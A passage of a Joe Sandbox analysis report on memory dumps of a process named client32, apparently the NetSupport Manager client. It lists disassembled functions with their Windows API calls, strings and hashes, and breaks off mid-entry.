Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitLastMessageProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)$lpNmHdr!=0
API String ID: 2577986331-1331251348
Opcode ID: 7e39479067b6c5f95eacce72c06cd62ac8a6f0ae8e6ec8608ac651044464dd8e
Instruction ID: 93283a680bb1c801d139a1839617fb2f1f19efec68c8bcedb592c4b0da2aa86f
Opcode Fuzzy Hash: 7e39479067b6c5f95eacce72c06cd62ac8a6f0ae8e6ec8608ac651044464dd8e
Instruction Fuzzy Hash: 8DF0E279E036327BD612A9177C0AFCFF768DBA1AA9F058061F80D26101EB34720082E9

Function 1103F4C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1103F450: IsWindow.USER32(00000000), ref: 1103F466
Part of subcall function 1103F450: FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103F47C
Part of subcall function 1103F450: IsWindow.USER32(00000000), ref: 1103F484
Part of subcall function 1103F450: Sleep.KERNEL32(00000014), ref: 1103F497
Part of subcall function 1103F450: FindWindowA.USER32(PCIVideoSlave32,00000000), ref: 1103F4A7
Part of subcall function 1103F450: IsWindow.USER32(00000000), ref: 1103F4AF

IsWindow.USER32(00000000), ref: 1103F4EA
SendMessageA.USER32(00000000,0000004A,00000000,00000501), ref: 1103F4FD

Strings

PCIVideoSlave32, xrefs: 1103F508
DoMMData - could not find %s window, xrefs: 1103F50D

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$Find$MessageSendSleep
String ID: DoMMData - could not find %s window$PCIVideoSlave32
API String ID: 1010850397-3146847729
Opcode ID: aae4a453ef0a99841fb0c8f2bdb4662e73cf68ed11950b93a08a3e71c3a39851
Instruction ID: 9c7747beff98129d0e206a6ba61550f1bc8c1a2fc0044bc1d9efbb7d24d88507
Opcode Fuzzy Hash: aae4a453ef0a99841fb0c8f2bdb4662e73cf68ed11950b93a08a3e71c3a39851
Instruction Fuzzy Hash: BBF02735E8121C77D710AA98AC0ABEEBB689B0170EF004098ED1966280EBB5251087DB

Function 1103D1F0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11110920: EnterCriticalSection.KERNEL32(00000010,00000000,759223A0,1100BF7B), ref: 11110928
Part of subcall function 11110920: LeaveCriticalSection.KERNEL32(00000010), ref: 11110935

_free.LIBCMT ref: 1103D221

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

Part of subcall function 11110920: LeaveCriticalSection.KERNEL32(00000010,?), ref: 11110970

SetPriorityClass.KERNEL32(?,?), ref: 1103D24C
MessageBeep.USER32(00000000), ref: 1103D25E

Strings

Show has overrun too much, aborting, xrefs: 1103D1F1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$BeepClassEnterErrorFreeHeapLastMessagePriority_free
String ID: Show has overrun too much, aborting
API String ID: 304545663-4092325870
Opcode ID: 38cbc4052beda61ee506a84b884a1a9d6557445bc312e3507d1d7bbe4ecf2d69
Instruction ID: 9026de0c3b0683949d6f7ac94f5710338a9a532b2cd303e3c01edb637dee248d
Opcode Fuzzy Hash: 38cbc4052beda61ee506a84b884a1a9d6557445bc312e3507d1d7bbe4ecf2d69
Instruction Fuzzy Hash: 50F0B4B4B016139BFB59CBB08914BD9F69DBF8071DF000118E92C97280EB70B224C7D2

Function 1101D3C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D3EB
EnableWindow.USER32(00000000,?), ref: 1101D3F6

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D3D1
m_hWnd, xrefs: 1101D3D6

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnableErrorExitItemLastMessageProcessWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1136984157-1986719024
Opcode ID: bd8169d8b1d2f1da16aa56a8743fe70e232c658d653b50b5f908e1dbd2e13666
Instruction ID: 36c1a6ee6805b1b90e48090b7f41ce0c53d42d7852bf61e64861d4a713bbcb04
Opcode Fuzzy Hash: bd8169d8b1d2f1da16aa56a8743fe70e232c658d653b50b5f908e1dbd2e13666
Instruction Fuzzy Hash: E3E0867950022DBFC7149E91DC85EAAF35CEB44269F00C135F96656644D674E84087A4

Function 11027530 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?), ref: 11027561
EnumWindows.USER32(11027450,00000000), ref: 1102756A
ExitThread.KERNEL32 ref: 11027577

Strings

TapiFix, xrefs: 11027536

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnumExitSleepThreadWindows
String ID: TapiFix
API String ID: 1804117399-2824097521
Opcode ID: 9b936a382379f1639e294998df4fda084f6c97918e753868017fe61e0b06262c
Instruction ID: 0d22cb111dc1a1c74f2ece42ee292e751dc76676b098746739fa73436add6467
Opcode Fuzzy Hash: 9b936a382379f1639e294998df4fda084f6c97918e753868017fe61e0b06262c
Instruction Fuzzy Hash: C7E04838A4167CAFE615DB918D84F56BA989B5535CF810030E4351664597B07940C7A9

Function 1101D410 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 1101D43F
ShowWindow.USER32(00000000), ref: 1101D446

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h, xrefs: 1101D421
m_hWnd, xrefs: 1101D426

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitItemLastMessageProcessShowWindowwsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\nsmdlg.h$m_hWnd
API String ID: 1319256379-1986719024
Opcode ID: 8377f77b347f7a331b9e274c23780b90952fd8225b6a3357c05bbe4f1f66010c
Instruction ID: e0f7042720cd81023d22bad3d6b473d4ff1ed87f82d399384176be7cf1b5ebc2
Opcode Fuzzy Hash: 8377f77b347f7a331b9e274c23780b90952fd8225b6a3357c05bbe4f1f66010c
Instruction Fuzzy Hash: D3E04F7594032DBBC7049A95DC89EEAB39CEB54229F008025F92556600E670A84087A0

Function 11165643 Relevance: 6.1, APIs: 4, Instructions: 130COMMONLIBRARYCODE

Download Yara Rule

APIs

_memmove.LIBCMT ref: 111656DE
__flush.LIBCMT ref: 111656FC
__write.LIBCMT ref: 11165723
__flsbuf.LIBCMT ref: 1116574E

Part of subcall function 1116A1AF: __getptd_noexit.LIBCMT ref: 1116A1AF

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: 34f750520889ae1c8a8219b8bb8fb379717b18fbdc33fa4f6fc2ff7c413ea70f
Instruction ID: 2bbfea60a2a12786820c2de27e6caf434d82015e81e2d2deebce7f4ca3d92771
Opcode Fuzzy Hash: 34f750520889ae1c8a8219b8bb8fb379717b18fbdc33fa4f6fc2ff7c413ea70f
Instruction Fuzzy Hash: 7541F635A00B05DFDB558F65D94059EFBBEEF803A4F254128D45597240E7F6ED60CB40

Function 11049130 Relevance: 6.1, APIs: 4, Instructions: 112windowtimeCOMMON

Download Yara Rule

APIs

Part of subcall function 11040700: IsWindow.USER32(?), ref: 11040720
Part of subcall function 11040700: GetClassNameA.USER32(?,?,00000040), ref: 11040731

_malloc.LIBCMT ref: 110491DD
_memmove.LIBCMT ref: 110491EA
SendMessageTimeoutA.USER32(?,0000004A,00170222,?,00000002,00001388,?), ref: 11049224
_free.LIBCMT ref: 1104922B

Part of subcall function 11048FE0: wsprintfA.USER32 ref: 11049013
Part of subcall function 11048FE0: WaitForInputIdle.USER32(?,00002710), ref: 11049099
Part of subcall function 11048FE0: CloseHandle.KERNEL32(?), ref: 110490AC
Part of subcall function 11048FE0: CloseHandle.KERNEL32(?), ref: 110490B5
Part of subcall function 11048FE0: Sleep.KERNEL32(00000014), ref: 110490D1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseHandle$ClassIdleInputMessageNameSendSleepTimeoutWaitWindow_free_malloc_memmovewsprintf
String ID:
API String ID: 176360892-0
Opcode ID: ff22a9ddfc9956f02424ec2608c6f13a06eca4d3def8f93d8689db34ce88e07c
Instruction ID: d41a6b91d128f2eeea48cc74d118894cce712679c930bdd2d1ac7c58a8e7d684
Opcode Fuzzy Hash: ff22a9ddfc9956f02424ec2608c6f13a06eca4d3def8f93d8689db34ce88e07c
Instruction Fuzzy Hash: 60316075E0061AABDB04DF94CD81BEEB3B8FF48718F104179E915A7684E731AE05CBA1

Function 110297F0 Relevance: 6.1, APIs: 4, Instructions: 104sleepthreadwindowCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00001000,11027690,00000000,00000000,111EE468), ref: 11029813
Sleep.KERNEL32(00000032,?,1102B0F3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 11029832
PostThreadMessageA.USER32(00000000,00000500,00000000,00000000), ref: 11029854
Sleep.KERNEL32(00000032,?,1102B0F3,00000000,?,00000000,000001E8,Bridge,LoadOnStartup,00000000,00000000), ref: 1102985C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: SleepThread$CreateMessagePost
String ID:
API String ID: 3347742789-0
Opcode ID: fda338b6a51c78fe6c2f886b68065117b2ed91385ddfdaae507fd395cc0aabb8
Instruction ID: 2ae3116f5df8233203c0b5b7c047d092e18a9fbb085bfb1a1d8cc4b180184980
Opcode Fuzzy Hash: fda338b6a51c78fe6c2f886b68065117b2ed91385ddfdaae507fd395cc0aabb8
Instruction Fuzzy Hash: F331C576E43232EBE212DBD9CC80FB6B798A745B68F514135F928972C8D2706841CFD0

Function 6EF2DF86 Relevance: 6.1, APIs: 4, Instructions: 103COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6EF2DFBA
__isleadbyte_l.LIBCMT ref: 6EF2DFED
MultiByteToWideChar.KERNEL32(00000080,00000009,?,?,?,00000000,?,?,?,?,?,?), ref: 6EF2E01E
MultiByteToWideChar.KERNEL32(00000080,00000009,?,00000001,?,00000000,?,?,?,?,?,?), ref: 6EF2E08C

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 286b2c274a06481e2e5b1ef7b1b7dd744d104d9d8d9b85924a611b20a6836013
Instruction ID: ef97ab2f701d402a6b18c60167a75de7d50ff2ede227deb931178c7dc0558860
Opcode Fuzzy Hash: 286b2c274a06481e2e5b1ef7b1b7dd744d104d9d8d9b85924a611b20a6836013
Instruction Fuzzy Hash: B731A031A14246EFDB11DFE4C8B0AAE7BB5BF42314F2085B9E4608B191E732D941DF58

Function 11179775 Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 111797A9
__isleadbyte_l.LIBCMT ref: 111797DC
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,50036AD0,00BFBBEF,00000000,?,?,?,1117A3D8,00000109,00BFBBEF,00000003), ref: 1117980D
MultiByteToWideChar.KERNEL32(840FFFF8,00000009,00000109,00000001,00BFBBEF,00000000,?,?,?,1117A3D8,00000109,00BFBBEF,00000003), ref: 1117987B

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 8a143442f0c1ddc808179669c8bda0f547e04561d024046af250b3c99ddd2ce0
Instruction ID: dd7da2bd4d1e27f38930cbdbffb8ca2b0741d821671db88b966082c1cf8912a5
Opcode Fuzzy Hash: 8a143442f0c1ddc808179669c8bda0f547e04561d024046af250b3c99ddd2ce0
Instruction Fuzzy Hash: 1331AE31A0029EEFEB01DF64C9849AEFFA6EF01330F1585A9E4648B290F730D954CB51

Function 110B3700 Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,EFF676FC,?,?,?,00000000,?,Function_0018B2A8,000000FF,?,1103DE10,?,?,?,00000000), ref: 110B372F
LeaveCriticalSection.KERNEL32(0000002C,?,00000000,?,Function_0018B2A8,000000FF,?,1103DE10,?,?,?,00000000), ref: 110B376F
SetEvent.KERNEL32(?), ref: 110B37EA
LeaveCriticalSection.KERNEL32(0000002C), ref: 110B37F1

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: 41462067ee8128c784213e06cad4e855516fce30d8963978b3823cfd81d7b6d6
Instruction ID: 8acebb29280036c6a802c58c088d91b2f5c0a2bed23f5f36a778171c733041f7
Opcode Fuzzy Hash: 41462067ee8128c784213e06cad4e855516fce30d8963978b3823cfd81d7b6d6
Instruction Fuzzy Hash: BC314A75A44B059FD325CF69C980B9AFBE4FB48314F10862EE85AC7B50EB34A850CB90

Function 6EEF7E39 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 49COMMON

Download Yara Rule

APIs

